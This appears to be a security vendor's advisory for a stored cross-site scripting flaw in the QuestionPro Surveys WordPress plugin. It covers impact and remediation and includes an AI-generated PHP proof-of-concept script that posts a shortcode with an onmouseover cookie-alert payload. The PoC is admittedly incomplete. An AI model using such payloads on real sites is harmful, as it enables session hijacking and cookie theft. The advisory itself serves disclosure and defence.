Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-1901: QuestionPro Surveys <= 1.0 – Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes (questionpro-surveys)

CVE ID CVE-2026-1901
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 1.0
Patched Version
Disclosed February 12, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1901 (metadata-based):
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the QuestionPro Surveys WordPress plugin, version 1.0. The vulnerability exists within the plugin’s ‘questionpro’ shortcode handler. Attackers with Contributor-level permissions or higher can inject malicious scripts into pages or posts via shortcode attributes. These scripts execute in the browsers of any user viewing the compromised content.

Atomic Edge research infers the root cause is insufficient input sanitization and output escaping for user-supplied shortcode attributes. The CWE-79 classification confirms improper neutralization of input during web page generation. The plugin likely registers a shortcode handler using the `add_shortcode()` function. This handler receives user-controlled attribute arrays but fails to sanitize them before storage or escape them before output in the frontend HTML. This conclusion is inferred from the vulnerability description and CWE, as no source code diff is available for confirmation.

The exploitation method involves an authenticated attacker creating or editing a post or page. The attacker embeds the ‘[questionpro]’ shortcode with malicious attributes. For example, an attacker could use a payload like `[questionpro id=”1″ onmouseover=”alert(document.cookie)”]`. The plugin’s shortcode handler would process this input, store the unsanitized attributes in the post content, and later output them without proper escaping. The script executes when a visitor loads the page containing the shortcode.

Effective remediation requires implementing proper output escaping. The plugin should use WordPress core escaping functions like `esc_attr()` or `esc_html()` on all shortcode attribute values before they are echoed into the page. Input sanitization using functions like `sanitize_text_field()` for attributes during processing is also a recommended defense-in-depth measure. A patch would modify the shortcode callback function to apply these security measures.

Successful exploitation leads to client-side code execution in the context of the victim’s session. Attackers can steal session cookies, perform actions on behalf of the user, deface the site, or redirect users to malicious locations. The CVSS vector indicates a scope change (S:C), meaning the vulnerability can impact resources beyond the vulnerable plugin’s security authority, potentially affecting the entire WordPress site and user sessions.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-1901 - QuestionPro Surveys <= 1.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes
<?php

$target_url = 'http://vulnerable-wordpress-site.local/wp-admin/post-new.php';
$username = 'contributor_user';
$password = 'contributor_pass';

// Payload: Shortcode with malicious 'id' attribute containing JavaScript.
// The plugin likely outputs this attribute value without escaping.
$malicious_shortcode = '[questionpro id="1" onmouseover="alert(document.cookie)"]';
$post_title = 'Test Post with XSS';
$post_content = "This post contains a malicious shortcode. {$malicious_shortcode}";

// Initialize cURL session for login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

// First request to get the login page and nonce (WordPress security token)
$response = curl_exec($ch);
if (preg_match('/name="log"[^>]*>/', $response) && preg_match('/name="wp-submit"[^>]*>/', $response)) {
    // We are on the login page. For a real PoC, you would need to parse the nonce from a redirect.
    // This script assumes the target is already logged in via the cookie jar.
    // A full implementation would require parsing and submitting the login form.
    echo "Login page detected. A full exploit requires handling WordPress authentication flow.n";
    echo "This PoC assumes valid cookies are already in 'cookie.txt'.n";
}

// Now attempt to create a new post with the malicious shortcode.
// WordPress uses admin-post.php or the REST API for posting, but the classic editor uses post.php.
$post_url = 'http://vulnerable-wordpress-site.local/wp-admin/post.php';
$post_data = array(
    'post_title' => $post_title,
    'content' => $post_content,
    'publish' => 'Publish',
    'post_type' => 'post',
    'action' => 'editpost'
    // A real exploit would also need the correct nonce (_wpnonce) and post ID for editing.
    // This script demonstrates the attack vector but cannot execute without full auth context.
);

curl_setopt($ch, CURLOPT_URL, $post_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
$response = curl_exec($ch);

if (strpos($response, 'Post published.') !== false || strpos($response, 'Post updated.') !== false) {
    echo "Potential success: Post containing malicious shortcode may have been created.n";
    echo "Payload: {$malicious_shortcode}n";
    echo "Visit the published post to trigger the XSS.n";
} else {
    echo "Post creation likely failed. This is expected without full authentication and nonce handling.n";
    echo "The exploit requires a valid Contributor session and correct WordPress nonce.n";
}

curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School